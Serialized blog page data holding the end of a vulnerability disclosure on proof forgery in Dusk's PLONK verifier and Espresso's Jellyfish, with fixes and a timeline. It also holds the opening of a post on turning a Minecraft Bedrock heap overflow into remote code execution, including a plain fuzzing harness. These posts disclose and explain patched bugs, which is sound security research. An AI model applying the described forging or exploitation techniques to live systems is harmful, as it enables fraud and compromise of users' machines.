DUSK",{"type":30,"value":159035}," to the honest wallet using a normal (honestly-proved) transaction",{"type":25,"tag":112,"props":159037,"children":159038},{},[159039],{"type":30,"value":159040},"The honest node validates both transactions and mines them into blocks",{"type":25,"tag":112,"props":159042,"children":159043},{},[159044],{"type":30,"value":159045},"The honest wallet shows a confirmed balance of 1337 DUSK",{"type":25,"tag":26,"props":159047,"children":159048},{},[159049],{"type":25,"tag":698,"props":159050,"children":159053},{"alt":159051,"src":159052},"end_to_end","/posts/dusk-commitment-issues/end_to_end.svg",[],{"type":25,"tag":26,"props":159055,"children":159056},{},[159057,159059,159065,159067,159074],{"type":30,"value":159058},"At the time of discovery, DUSK's market cap was roughly ",{"type":25,"tag":83,"props":159060,"children":159062},{"href":154360,"rel":159061},[9066],[159063],{"type":30,"value":159064},"~60M",{"type":30,"value":159066},". The entire shielded transaction layer was at risk. Because Phoenix is privacy-preserving, forged outputs accepted into the shielded pool would have been difficult to distinguish after the fact, similar to Neptune Cash with the ",{"type":25,"tag":83,"props":159068,"children":159071},{"href":159069,"rel":159070},"https://neptune.cash/articles/critical-vulnerability-disclosure",[9066],[159072],{"type":30,"value":159073},"Triton VM vulnerability",{"type":30,"value":1860},{"type":25,"tag":92,"props":159076,"children":159077},{},[],{"type":25,"tag":96,"props":159079,"children":159081},{"id":159080},"the-fix",[159082],{"type":30,"value":159083},"The fix",{"type":25,"tag":26,"props":159085,"children":159086},{},[159087],{"type":30,"value":159088},"The fix adds the four selector evaluations to the KZG batch opening check, so they are verified against the selector commitments already present in the verifier key:",{"type":25,"tag":108,"props":159090,"children":159091},{},[159092,159137],{"type":25,"tag":112,"props":159093,"children":159094},{},[159095,159097,159108,159110,159116,159117,159123,159124,159130,159131],{"type":30,"value":159096},"Extend ",{"type":25,"tag":83,"props":159098,"children":159101},{"href":159099,"rel":159100},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/compiler/prover.rs#L509",[9066],[159102],{"type":25,"tag":264,"props":159103,"children":159105},{"className":159104},[],[159106],{"type":30,"value":159107},"compute_aggregate_witness",{"type":30,"value":159109}," on the prover side to also include ",{"type":25,"tag":264,"props":159111,"children":159113},{"className":159112},[],[159114],{"type":30,"value":159115},"q_arith",{"type":30,"value":44},{"type":25,"tag":264,"props":159118,"children":159120},{"className":159119},[],[159121],{"type":30,"value":159122},"q_c",{"type":30,"value":44},{"type":25,"tag":264,"props":159125,"children":159127},{"className":159126},[],[159128],{"type":30,"value":159129},"q_l",{"type":30,"value":69},{"type":25,"tag":264,"props":159132,"children":159134},{"className":159133},[],[159135],{"type":30,"value":159136},"q_r",{"type":25,"tag":112,"props":159138,"children":159139},{},[159140,159142,159152],{"type":30,"value":159141},"Add their evaluations to ",{"type":25,"tag":83,"props":159143,"children":159146},{"href":159144,"rel":159145},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362",[9066],[159147],{"type":25,"tag":264,"props":159148,"children":159150},{"className":159149},[],[159151],{"type":30,"value":158254},{"type":30,"value":159153}," on the verifier side, so they're checked against the commitments in the verifier key",{"type":25,"tag":26,"props":159155,"children":159156},{},[159157,159159,159166],{"type":30,"value":159158},"This was done in ",{"type":25,"tag":83,"props":159160,"children":159163},{"href":159161,"rel":159162},"https://github.com/dusk-network/plonk/commit/645265b748d2698bcb403b794fc2d58340b340f1",[9066],[159164],{"type":30,"value":159165},"commit 645265b7",{"type":30,"value":159167},", which landed on February 14, 2026.",{"type":25,"tag":92,"props":159169,"children":159170},{},[],{"type":25,"tag":96,"props":159172,"children":159174},{"id":159173},"why-was-this-missed",[159175],{"type":30,"value":159176},"Why was this missed?",{"type":25,"tag":26,"props":159178,"children":159179},{},[159180,159182,159189,159190,159197,159199,159206,159208,159215],{"type":30,"value":159181},"Dusk's stack had been heavily audited: a ",{"type":25,"tag":83,"props":159183,"children":159186},{"href":159184,"rel":159185},"https://github.com/dusk-network/audits/blob/main/core-audits/2023-12_plonk-audit-report_porter-adams.pdf",[9066],[159187],{"type":30,"value":159188},"December 2023 audit of dusk-plonk",{"type":30,"value":136830},{"type":25,"tag":83,"props":159191,"children":159194},{"href":159192,"rel":159193},"https://github.com/dusk-network/audits/blob/main/core-audits/2024-09_phoenix-audit-report_jules-de-smit.pdf",[9066],[159195],{"type":30,"value":159196},"September 2024 audit of Phoenix",{"type":30,"value":159198},", and a ",{"type":25,"tag":83,"props":159200,"children":159203},{"href":159201,"rel":159202},"https://github.com/dusk-network/audits/blob/main/core-audits/2024-09_rusk-node-library_oak-security.pdf",[9066],[159204],{"type":30,"value":159205},"September 2024 Oak Security audit of the Rusk node library",{"type":30,"value":159207},". Dusk's public ",{"type":25,"tag":83,"props":159209,"children":159212},{"href":159210,"rel":159211},"https://dusk.network/news/audits-overview",[9066],[159213],{"type":30,"value":159214},"audits overview",{"type":30,"value":159216}," summarizes the broader audit program. The bug still went unnoticed because it hides behind a very easy mental-model mistake.",{"type":25,"tag":26,"props":159218,"children":159219},{},[159220,159222,159227],{"type":30,"value":159221},"At the polynomial level, selectors are public circuit descriptions. A reviewer who keeps that standard PLONK model in mind will naturally think \"selectors are verifier-side\" and move on, overlooking the architectural deviation where Dusk's verifier started consuming prover-supplied selector ",{"type":25,"tag":10281,"props":159223,"children":159224},{},[159225],{"type":30,"value":159226},"evaluations",{"type":30,"value":1860},{"type":25,"tag":26,"props":159229,"children":159230},{},[159231],{"type":30,"value":159232},"This was a pure proof-system bug, not a Phoenix-circuit bug; the circuit constraints themselves were correctly written. The failure occurred entirely because the verifier accepted proof fields that bypassed the fundamental invariant established earlier: they were neither locally computed nor cryptographically bound to an opening proof.",{"type":25,"tag":26,"props":159234,"children":159235},{},[159236],{"type":30,"value":159237},"The check for this class of bug is mechanical: enumerate every field in the proof's evaluation struct and verify that each one either appears in the opening proof batch or is computed locally by the verifier.",{"type":25,"tag":96,"props":159239,"children":159241},{"id":159240},"a-similar-bug-in-espresso-systems-jellyfish",[159242],{"type":30,"value":159243},"A similar bug in Espresso Systems' Jellyfish",{"type":25,"tag":26,"props":159245,"children":159246},{},[159247,159249,159256],{"type":30,"value":159248},"While investigating PLONK implementations, we found a similar vulnerability in ",{"type":25,"tag":83,"props":159250,"children":159253},{"href":159251,"rel":159252},"https://github.com/EspressoSystems/jellyfish/",[9066],[159254],{"type":30,"value":159255},"jf-plonk",{"type":30,"value":159257}," by Espresso Systems. The exact mechanism is different, but the exploitation also boils down to variables that are used in the final check not being cryptographically bound.",{"type":25,"tag":26,"props":159259,"children":159260},{},[159261,159263,159270,159272,159283,159285,159310,159312,159337],{"type":30,"value":159262},"Jellyfish implements UltraPlonk, which extends standard PLONK with ",{"type":25,"tag":83,"props":159264,"children":159267},{"href":159265,"rel":159266},"https://eprint.iacr.org/2020/315",[9066],[159268],{"type":30,"value":159269},"Plookup",{"type":30,"value":159271}," lookup arguments. Plookup adds 15 polynomial evaluations to the proof. The function ",{"type":25,"tag":83,"props":159273,"children":159276},{"href":159274,"rel":159275},"https://github.com/EspressoSystems/jellyfish/blob/83e62ed43140d251f8a972033fdd9ddb717c66d7/plonk/src/transcript/mod.rs#L156-L166",[9066],[159277],{"type":25,"tag":264,"props":159278,"children":159280},{"className":159279},[],[159281],{"type":30,"value":159282},"append_plookup_evaluations",{"type":30,"value":159284}," was supposed to add all 15 to the Fiat-Shamir transcript before the batching challenge ",{"type":25,"tag":264,"props":159286,"children":159288},{"className":159287},[267,268],[159289],{"type":25,"tag":271,"props":159290,"children":159292},{"className":159291},[274],[159293],{"type":25,"tag":271,"props":159294,"children":159296},{"className":159295,"ariaHidden":280},[279],[159297],{"type":25,"tag":271,"props":159298,"children":159300},{"className":159299},[285],[159301,159305],{"type":25,"tag":271,"props":159302,"children":159304},{"className":159303,"style":3164},[290],[],{"type":25,"tag":271,"props":159306,"children":159308},{"className":159307,"style":1555},[296,297],[159309],{"type":30,"value":6236},{"type":30,"value":159311}," is derived. Instead, it only added 6 of the 15, and the remaining 9 evaluations are used in the batched verification check but don't influence ",{"type":25,"tag":264,"props":159313,"children":159315},{"className":159314},[267,268],[159316],{"type":25,"tag":271,"props":159317,"children":159319},{"className":159318},[274],[159320],{"type":25,"tag":271,"props":159321,"children":159323},{"className":159322,"ariaHidden":280},[279],[159324],{"type":25,"tag":271,"props":159325,"children":159327},{"className":159326},[285],[159328,159332],{"type":25,"tag":271,"props":159329,"children":159331},{"className":159330,"style":3164},[290],[],{"type":25,"tag":271,"props":159333,"children":159335},{"className":159334,"style":1555},[296,297],[159336],{"type":30,"value":6236},{"type":30,"value":159338},", so the prover can adjust them after the fact to make the check pass.",{"type":25,"tag":26,"props":159340,"children":159341},{},[159342,159344,159350,159352,159358],{"type":30,"value":159343},"The attack requires modifying a single evaluation (",{"type":25,"tag":264,"props":159345,"children":159347},{"className":159346},[],[159348],{"type":30,"value":159349},"key_table_next_eval",{"type":30,"value":159351},") by ",{"type":25,"tag":264,"props":159353,"children":159355},{"className":159354},[],[159356],{"type":30,"value":159357},"delta / (u * v^3)",{"type":30,"value":159359}," to close the gap between the true and expected batched evaluation, which, like the Dusk exploit, reduces to a single field division.",{"type":25,"tag":26,"props":159361,"children":159362},{},[159363,159365,159372,159374,159385],{"type":30,"value":159364},"To our knowledge, Jellyfish's UltraPlonk mode is not currently deployed in production. ",{"type":25,"tag":83,"props":159366,"children":159369},{"href":159367,"rel":159368},"https://github.com/EspressoSystems/jellyfish/pull/867",[9066],[159370],{"type":30,"value":159371},"PR #867",{"type":30,"value":159373}," fixed the issue and was tagged as ",{"type":25,"tag":83,"props":159375,"children":159378},{"href":159376,"rel":159377},"https://github.com/EspressoSystems/jellyfish/tree/jf-plonk-v0.8.0",[9066],[159379],{"type":25,"tag":264,"props":159380,"children":159382},{"className":159381},[],[159383],{"type":30,"value":159384},"jf-plonk-v0.8.0",{"type":30,"value":159386}," on March 18, 2026.",{"type":25,"tag":92,"props":159388,"children":159389},{},[],{"type":25,"tag":96,"props":159391,"children":159393},{"id":159392},"toward-standardization",[159394],{"type":30,"value":159395},"Toward standardization",{"type":25,"tag":26,"props":159397,"children":159398},{},[159399,159401,159408],{"type":30,"value":159400},"The fact that two independent PLONK implementations contain the same class of bug, and that ",{"type":25,"tag":83,"props":159402,"children":159405},{"href":159403,"rel":159404},"https://osec.io/blog/2026-03-03-zkvms-unfaithful-claims/",[9066],[159406],{"type":30,"value":159407},"similar patterns appear across zkVMs",{"type":30,"value":159409},", suggests this isn't a problem that individual audits alone can solve. The check described above (diff \"evaluations used\" against \"evaluations bound\") is mechanical and could be built into development tooling, CI pipelines, or standardized PLONK verification specifications.",{"type":25,"tag":26,"props":159411,"children":159412},{},[159413],{"type":30,"value":159414},"We're in early discussions with the Dusk team and other stakeholders about what a PLONK standardization effort could look like: a curve-agnostic, backend-agnostic specification of the verification protocol that makes invariants like evaluation binding explicit and checkable.",{"type":25,"tag":26,"props":159416,"children":159417},{},[159418],{"type":30,"value":159419},"The status quo, where each team implements their own PLONK variant from the paper and hopes the auditor catches what they missed, is fragile. A shared, well-reviewed verification spec would reduce the surface area for these bugs and give auditors a concrete checklist to verify against.",{"type":25,"tag":96,"props":159421,"children":159422},{"id":73939},[159423],{"type":30,"value":159424},"Disclosure timeline",{"type":25,"tag":15346,"props":159426,"children":159427},{},[159428,159444],{"type":25,"tag":15350,"props":159429,"children":159430},{},[159431],{"type":25,"tag":15354,"props":159432,"children":159433},{},[159434,159439],{"type":25,"tag":15358,"props":159435,"children":159436},{},[159437],{"type":30,"value":159438},"Date",{"type":25,"tag":15358,"props":159440,"children":159441},{},[159442],{"type":30,"value":159443},"Event",{"type":25,"tag":15379,"props":159445,"children":159446},{},[159447,159460,159473,159485,159511,159531],{"type":25,"tag":15354,"props":159448,"children":159449},{},[159450,159455],{"type":25,"tag":15386,"props":159451,"children":159452},{},[159453],{"type":30,"value":159454},"2026-02-13",{"type":25,"tag":15386,"props":159456,"children":159457},{},[159458],{"type":30,"value":159459},"Dusk vulnerability reported",{"type":25,"tag":15354,"props":159461,"children":159462},{},[159463,159468],{"type":25,"tag":15386,"props":159464,"children":159465},{},[159466],{"type":30,"value":159467},"2026-02-14",{"type":25,"tag":15386,"props":159469,"children":159470},{},[159471],{"type":30,"value":159472},"Dusk acknowledged",{"type":25,"tag":15354,"props":159474,"children":159475},{},[159476,159480],{"type":25,"tag":15386,"props":159477,"children":159478},{},[159479],{"type":30,"value":159467},{"type":25,"tag":15386,"props":159481,"children":159482},{},[159483],{"type":30,"value":159484},"Dusk fix committed",{"type":25,"tag":15354,"props":159486,"children":159487},{},[159488,159493],{"type":25,"tag":15386,"props":159489,"children":159490},{},[159491],{"type":30,"value":159492},"2026-02-27",{"type":25,"tag":15386,"props":159494,"children":159495},{},[159496,159498,159509],{"type":30,"value":159497},"Public ",{"type":25,"tag":83,"props":159499,"children":159502},{"href":159500,"rel":159501},"https://github.com/dusk-network/rusk/releases/tag/dusk-rusk-1.6.0",[9066],[159503],{"type":25,"tag":264,"props":159504,"children":159506},{"className":159505},[],[159507],{"type":30,"value":159508},"dusk-rusk-1.6.0",{"type":30,"value":159510}," release published",{"type":25,"tag":15354,"props":159512,"children":159513},{},[159514,159519],{"type":25,"tag":15386,"props":159515,"children":159516},{},[159517],{"type":30,"value":159518},"2026-03-16",{"type":25,"tag":15386,"props":159520,"children":159521},{},[159522,159524,159530],{"type":30,"value":159523},"Jellyfish fix PR opened (",{"type":25,"tag":83,"props":159525,"children":159527},{"href":159367,"rel":159526},[9066],[159528],{"type":30,"value":159529},"#867",{"type":30,"value":440},{"type":25,"tag":15354,"props":159532,"children":159533},{},[159534,159539],{"type":25,"tag":15386,"props":159535,"children":159536},{},[159537],{"type":30,"value":159538},"2026-03-18",{"type":25,"tag":15386,"props":159540,"children":159541},{},[159542,159544,159549,159551],{"type":30,"value":159543},"Jellyfish fix merged in ",{"type":25,"tag":83,"props":159545,"children":159547},{"href":159367,"rel":159546},[9066],[159548],{"type":30,"value":159529},{"type":30,"value":159550}," and tagged as ",{"type":25,"tag":83,"props":159552,"children":159554},{"href":159376,"rel":159553},[9066],[159555],{"type":25,"tag":264,"props":159556,"children":159558},{"className":159557},[],[159559],{"type":30,"value":159384},{"type":25,"tag":96,"props":159561,"children":159563},{"id":159562},"acknowledgements",[159564],{"type":30,"value":159565},"Acknowledgements",{"type":25,"tag":26,"props":159567,"children":159568},{},[159569],{"type":30,"value":159570},"We thank the Dusk team for responding within a day, coordinating the fix transparently, and engaging on the broader standardization question. We also thank the Espresso Systems team for turning around the Jellyfish patch in under a week.",{"title":7,"searchDepth":11641,"depth":11641,"links":159572},[159573,159580,159581,159582,159583,159584,159585,159586,159587,159588,159589,159590],{"id":154390,"depth":11641,"text":154393,"children":159574},[159575,159576,159577,159578,159579],{"id":154415,"depth":14354,"text":154418},{"id":155218,"depth":14354,"text":155221},{"id":156416,"depth":14354,"text":156419},{"id":156446,"depth":14354,"text":156449},{"id":156727,"depth":14354,"text":156730},{"id":157460,"depth":11641,"text":157463},{"id":157598,"depth":11641,"text":157601},{"id":103413,"depth":11641,"text":158229},{"id":158828,"depth":11641,"text":158831},{"id":158965,"depth":11641,"text":158968},{"id":159080,"depth":11641,"text":159083},{"id":159173,"depth":11641,"text":159176},{"id":159240,"depth":11641,"text":159243},{"id":159392,"depth":11641,"text":159395},{"id":73939,"depth":11641,"text":159424},{"id":159562,"depth":11641,"text":159565},"content:blog:2026-04-30-unverified-evaluations-dusk-plonk.md","blog/2026-04-30-unverified-evaluations-dusk-plonk.md","blog/2026-04-30-unverified-evaluations-dusk-plonk",{"_path":159595,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":159596,"description":159597,"date":159598,"author":136097,"image":159599,"isFeatured":18,"onBlogPage":18,"tags":159601,"body":159604,"_type":16004,"_id":168984,"_source":16006,"_file":168985,"_stem":168986,"_extension":16009},"/blog/2026-06-02-minecraft-heap-overflow-to-rce","Pwning Minecraft: 4-Byte Heap Overflow to RCE","We achieved RCE in Minecraft Bedrock, turning a 4-byte heap overflow into complete client compromise. Learn how a universal, Bedrock-specific technique is used to bypass ASLR and achieve arbitrary read/write primitives.","2026-06-02T12:00:00.000Z",{"src":159600,"width":16,"height":17},"/posts/minecraft-heap-overflow-to-rce/title.png",[159602,159603],"minecraft","rce",{"type":22,"children":159605,"toc":168961},[159606,159611,159616,159621,159627,159632,159651,159656,159662,159667,159672,159678,159683,159688,159693,159699,159704,159709,159715,159735,159747,159754,159776,159790,159797,159803,159813,159833,159838,159844,159857,160202,160207,160215,160221,160240,160548,160576,160619,160631,160639,160644,161113,161132,161153,161495,161519,161791,161815,161842,162051,162070,162078,162097,162103,162165,162168,162190,162194,162199,162204,162210,162215,162229,162235,162249,162255,162268,162273,162281,162286,162292,162313,162321,162334,162337,162342,162356,162361,162366,162372,162377,162400,162405,162411,162416,162428,162440,162554,162574,162579,162584,162590,162595,162615,163230,163243,164317,164322,164330,164335,164341,164346,164354,164367,164372,164377,164384,164397,164402,164409,164464,164484,164491,164510,164517,164520,164525,164530,164536,164548,164561,164569,164640,164651,164685,164693,164698,164703,164709,164721,164740,164752,164757,164765,164784,164792,164811,164819,164845,164853,164858,164866,164871,164879,164882,164887,164892,164898,164911,164929,164967,164997,165005,165010,165016,165021,165026,165032,165044,165213,165225,165233,165238,165245,165250,165311,165358,165370,165375,165401,165475,165513,165518,165526,165547,165552,165578,165612,165665,165712,165718,165737,165769,165777,165880,165951,165957,165983,165990,165995,166002,166007,166248,166274,166279,166327,166332,166338,166370,166382,166414,166422,166461,166469,166474,166482,166487,166495,166507,166515,166527,166535,166547,166567,166573,166593,166610,166618,166630,166638,166657,166662,166670,166675,166683,166709,166720,166727,166732,166740,166745,166753,166758,166766,166771,166779,166784,166792,166797,166805,166846,166853,166858,166866,166871,166879,166884,166892,166897,166902,166910,166915,166923,166949,166957,166983,166991,166996,167004,167009,167017,167025,167030,167038,167043,167051,167054,167065,167099,167117,167125,167145,167151,167170,167228,167248,167256,167259,167298,167358,167363,167369,167382,167390,167442,167481,167489,167522,167525,167545,167553,167559,167564,167572,167612,167653,167673,167678,167683,167701,167707,167712,167731,167792,167800,167826,167832,167852,167857,167862,167869,167934,167939,167946,167967,167972,167984,167990,168023,168030,168035,168063,168070,168126,168138,168145,168206,168225,168231,168265,168286,168313,168321,168374,168444,168450,168470,168513,168518,168916,168922,168927,168938,168942,168947,168952,168957],{"type":25,"tag":48484,"props":159607,"children":159609},{"id":159608},"pwning-minecraft-4-byte-heap-overflow-to-rce",[159610],{"type":30,"value":159596},{"type":25,"tag":26,"props":159612,"children":159613},{},[159614],{"type":30,"value":159615},"In this post, we explore how we achieved remote code execution with a 4-byte heap overflow on a target with default modern protections - working around Windows' Control Flow Guard and ASLR on a remote client connecting to a malicious server, without any information leaks from the client.",{"type":25,"tag":26,"props":159617,"children":159618},{},[159619],{"type":30,"value":159620},"We present a powerful technique, specific to our target, which can be used to achieve RCE for bug types such as double frees, use-after-frees, and any heap overflow of at least 3 bytes.",{"type":25,"tag":96,"props":159622,"children":159624},{"id":159623},"the-target",[159625],{"type":30,"value":159626},"The Target",{"type":25,"tag":26,"props":159628,"children":159629},{},[159630],{"type":30,"value":159631},"Minecraft is one of the most popular games of all time, with millions of daily players and a large count of community servers actively played by thousands - this, and the lack of research in this area made it an intriguing target.",{"type":25,"tag":26,"props":159633,"children":159634},{},[159635,159637,159642,159644,159649],{"type":30,"value":159636},"There are two main editions: ",{"type":25,"tag":38,"props":159638,"children":159639},{},[159640],{"type":30,"value":159641},"Minecraft Java Edition",{"type":30,"value":159643},", written in Java and available on desktop platforms (Windows, macOS, Linux), and ",{"type":25,"tag":38,"props":159645,"children":159646},{},[159647],{"type":30,"value":159648},"Minecraft Bedrock Edition",{"type":30,"value":159650},", written largely in C++ and used on consoles like PlayStation and Xbox, mobile platforms, and also available on Windows.",{"type":25,"tag":26,"props":159652,"children":159653},{},[159654],{"type":30,"value":159655},"Given that we were interested in memory corruption bugs we chose the Bedrock Edition. Specifically, we decided to explore the Windows version as the debugging setup was the one we were most familiar with.",{"type":25,"tag":247,"props":159657,"children":159659},{"id":159658},"choice-of-context",[159660],{"type":30,"value":159661},"Choice of Context",{"type":25,"tag":26,"props":159663,"children":159664},{},[159665],{"type":30,"value":159666},"We focused on a malicious-server -> connecting-client threat model because a server controls many inputs, giving a larger, easier-to-reach attack surface than client->client attacks.",{"type":25,"tag":26,"props":159668,"children":159669},{},[159670],{"type":30,"value":159671},"A server can control a large state which includes: the whole world and all entities within, each connected client state such as the position and view angles, and server-provided resource packs which connecting clients will download and parse.",{"type":25,"tag":247,"props":159673,"children":159675},{"id":159674},"resource-packs",[159676],{"type":30,"value":159677},"Resource Packs",{"type":25,"tag":26,"props":159679,"children":159680},{},[159681],{"type":30,"value":159682},"Resource packs are a way to change the look of Minecraft. They specify custom textures and sounds of blocks and entities, while also controlling client-side entity animations.",{"type":25,"tag":26,"props":159684,"children":159685},{},[159686],{"type":30,"value":159687},"A server can provide a custom resource pack to the client upon connecting, which the client can optionally download and load. If the server set the resource pack to mandatory, clients that refuse the resource pack aren't allowed to connect.",{"type":25,"tag":26,"props":159689,"children":159690},{},[159691],{"type":30,"value":159692},"This widens the attack surface to include image and audio parsing - both historically common sources of memory-corruption bugs.",{"type":25,"tag":96,"props":159694,"children":159696},{"id":159695},"finding-a-memory-corruption-bug",[159697],{"type":30,"value":159698},"Finding a Memory Corruption Bug",{"type":25,"tag":26,"props":159700,"children":159701},{},[159702],{"type":30,"value":159703},"Given that Minecraft is a large, closed-source C++ codebase, we wanted to avoid unnecessary reverse engineering; therefore we first looked at the image-parsing code.",{"type":25,"tag":26,"props":159705,"children":159706},{},[159707],{"type":30,"value":159708},"Image parsing is interesting because programs rarely reimplement decoders, they typically use third-party libraries. We hoped Minecraft used an open-source library we could read, which is much easier than reversing a native decoder.",{"type":25,"tag":247,"props":159710,"children":159712},{"id":159711},"locating-image-parsing-code",[159713],{"type":30,"value":159714},"Locating Image Parsing Code",{"type":25,"tag":26,"props":159716,"children":159717},{},[159718,159720,159726,159727,159733],{"type":30,"value":159719},"The simplest way to find code that handles image parsing is to search for expected strings such as ",{"type":25,"tag":264,"props":159721,"children":159723},{"className":159722},[],[159724],{"type":30,"value":159725},"PNG",{"type":30,"value":26259},{"type":25,"tag":264,"props":159728,"children":159730},{"className":159729},[],[159731],{"type":30,"value":159732},"GIF",{"type":30,"value":159734}," and look for error logging or other messages that use those substrings.",{"type":25,"tag":26,"props":159736,"children":159737},{},[159738,159740,159745],{"type":30,"value":159739},"Searching for the string ",{"type":25,"tag":264,"props":159741,"children":159743},{"className":159742},[],[159744],{"type":30,"value":159732},{"type":30,"value":159746}," returned some interesting results:",{"type":25,"tag":26,"props":159748,"children":159749},{},[159750],{"type":25,"tag":698,"props":159751,"children":159753},{"alt":63694,"src":159752},"/posts/minecraft-heap-overflow-to-rce/image1.png",[],{"type":25,"tag":26,"props":159755,"children":159756},{},[159757,159759,159766,159768,159775],{"type":30,"value":159758},"Most - if not all - of these results look like they are used by an image parser. We searched online for the strings and found they match the exact strings used in ",{"type":25,"tag":83,"props":159760,"children":159763},{"href":159761,"rel":159762},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h",[9066],[159764],{"type":30,"value":159765},"stb_image.h",{"type":30,"value":159767},". For an example: usage of ",{"type":25,"tag":83,"props":159769,"children":159772},{"href":159770,"rel":159771},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h#L6855",[9066],[159773],{"type":30,"value":159774},"bad Image Descriptor",{"type":30,"value":1860},{"type":25,"tag":26,"props":159777,"children":159778},{},[159779,159781,159788],{"type":30,"value":159780},"To confirm that the library code was actually used to load images, we created a simple resource pack containing a single GIF image, set a breakpoint at ",{"type":25,"tag":83,"props":159782,"children":159785},{"href":159783,"rel":159784},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h#L6778",[9066],[159786],{"type":30,"value":159787},"stbi__gif_load_next",{"type":30,"value":159789},", and loaded the resource pack - this confirmed its usage:",{"type":25,"tag":26,"props":159791,"children":159792},{},[159793],{"type":25,"tag":698,"props":159794,"children":159796},{"alt":63694,"src":159795},"/posts/minecraft-heap-overflow-to-rce/image2.png",[],{"type":25,"tag":247,"props":159798,"children":159800},{"id":159799},"stb-image-library",[159801],{"type":30,"value":159802},"STB Image Library",{"type":25,"tag":26,"props":159804,"children":159805},{},[159806,159811],{"type":25,"tag":264,"props":159807,"children":159809},{"className":159808},[],[159810],{"type":30,"value":159765},{"type":30,"value":159812}," had a number of memory corruption bugs historically, but the known ones were fixed in later revisions. Finding a new 0-day in this library looked relatively hard because it’s widely used and has been well-scrutinized at that point.",{"type":25,"tag":26,"props":159814,"children":159815},{},[159816,159818,159823,159825,159832],{"type":30,"value":159817},"Instead, we checked whether the version used by Minecraft was outdated - if so, previously reported bugs might apply. We inspected ",{"type":25,"tag":264,"props":159819,"children":159821},{"className":159820},[],[159822],{"type":30,"value":159765},{"type":30,"value":159824}," commits and checked whether those changes were present in the Minecraft executable. Eventually, we found that Minecraft was using a fairly old revision - some commit prior to ",{"type":25,"tag":83,"props":159826,"children":159829},{"href":159827,"rel":159828},"https://github.com/nothings/stb/commit/f1f077b2722f55e158cba020f0312ee2d13c463a",[9066],[159830],{"type":30,"value":159831},"f1f077b2722f55e158cba020f0312ee2d13c463a",{"type":30,"value":1860},{"type":25,"tag":26,"props":159834,"children":159835},{},[159836],{"type":30,"value":159837},"At the time, the commit was already 6 years old, while there were public reports for memory corruption bugs after it. We looked through the reported bugs but didn't find an interesting and applicable one, so we decided to run a simple fuzzing harness on this commit.",{"type":25,"tag":2352,"props":159839,"children":159841},{"id":159840},"fuzzing",[159842],{"type":30,"value":159843},"Fuzzing",{"type":25,"tag":26,"props":159845,"children":159846},{},[159847,159849,159856],{"type":30,"value":159848},"The fuzzer consisted of a very simple ",{"type":25,"tag":83,"props":159850,"children":159853},{"href":159851,"rel":159852},"https://github.com/AFLplusplus/AFLplusplus",[9066],[159854],{"type":30,"value":159855},"AFL++",{"type":30,"value":39851},{"type":25,"tag":7764,"props":159858,"children":159860},{"code":159859,"language":13243,"meta":7,"className":29637,"style":7},"#define STB_IMAGE_IMPLEMENTATION\n#include \"./stb/stb_image.h\"\n\nint main(int argc, char **argv) {\n    int x, y, comp;\n    unsigned char *ret;\n\n    if (argc != 2) {\n        return 1;\n    }\n\n    ret = stbi_load(argv[1], &x, &y, &comp, 0);\n    if (ret == NULL) {\n        return 1;\n    }\n    \n    stbi_image_free(ret);\n\n    return 0;\n}\n",[159861],{"type":25,"tag":264,"props":159862,"children":159863},{"__ignoreMap":7},[159864,159877,159889,159896,159942,159954,159975,159982,160006,160021,160028,160035,160107,160131,160146,160153,160160,160173,160180,160195],{"type":25,"tag":271,"props":159865,"children":159866},{"class":13593,"line":13594},[159867,159872],{"type":25,"tag":271,"props":159868,"children":159869},{"style":16171},[159870],{"type":30,"value":159871},"#define",{"type":25,"tag":271,"props":159873,"children":159874},{"style":13620},[159875],{"type":30,"value":159876}," STB_IMAGE_IMPLEMENTATION\n",{"type":25,"tag":271,"props":159878,"children":159879},{"class":13593,"line":11641},[159880,159884],{"type":25,"tag":271,"props":159881,"children":159882},{"style":16171},[159883],{"type":30,"value":103527},{"type":25,"tag":271,"props":159885,"children":159886},{"style":17388},[159887],{"type":30,"value":159888}," \"./stb/stb_image.h\"\n",{"type":25,"tag":271,"props":159890,"children":159891},{"class":13593,"line":14354},[159892],{"type":25,"tag":271,"props":159893,"children":159894},{"emptyLinePlaceholder":18},[159895],{"type":30,"value":16829},{"type":25,"tag":271,"props":159897,"children":159898},{"class":13593,"line":14391},[159899,159903,159907,159911,159915,159920,159924,159929,159933,159938],{"type":25,"tag":271,"props":159900,"children":159901},{"style":14289},[159902],{"type":30,"value":32168},{"type":25,"tag":271,"props":159904,"children":159905},{"style":13620},[159906],{"type":30,"value":103892},{"type":25,"tag":271,"props":159908,"children":159909},{"style":13625},[159910],{"type":30,"value":394},{"type":25,"tag":271,"props":159912,"children":159913},{"style":14289},[159914],{"type":30,"value":32168},{"type":25,"tag":271,"props":159916,"children":159917},{"style":13598},[159918],{"type":30,"value":159919}," argc",{"type":25,"tag":271,"props":159921,"children":159922},{"style":13625},[159923],{"type":30,"value":44},{"type":25,"tag":271,"props":159925,"children":159926},{"style":14289},[159927],{"type":30,"value":159928},"char",{"type":25,"tag":271,"props":159930,"children":159931},{"style":13603},[159932],{"type":30,"value":102993},{"type":25,"tag":271,"props":159934,"children":159935},{"style":13598},[159936],{"type":30,"value":159937},"argv",{"type":25,"tag":271,"props":159939,"children":159940},{"style":13625},[159941],{"type":30,"value":27925},{"type":25,"tag":271,"props":159943,"children":159944},{"class":13593,"line":14400},[159945,159949],{"type":25,"tag":271,"props":159946,"children":159947},{"style":14289},[159948],{"type":30,"value":32198},{"type":25,"tag":271,"props":159950,"children":159951},{"style":13625},[159952],{"type":30,"value":159953}," x, y, comp;\n",{"type":25,"tag":271,"props":159955,"children":159956},{"class":13593,"line":16406},[159957,159962,159966,159970],{"type":25,"tag":271,"props":159958,"children":159959},{"style":14289},[159960],{"type":30,"value":159961},"    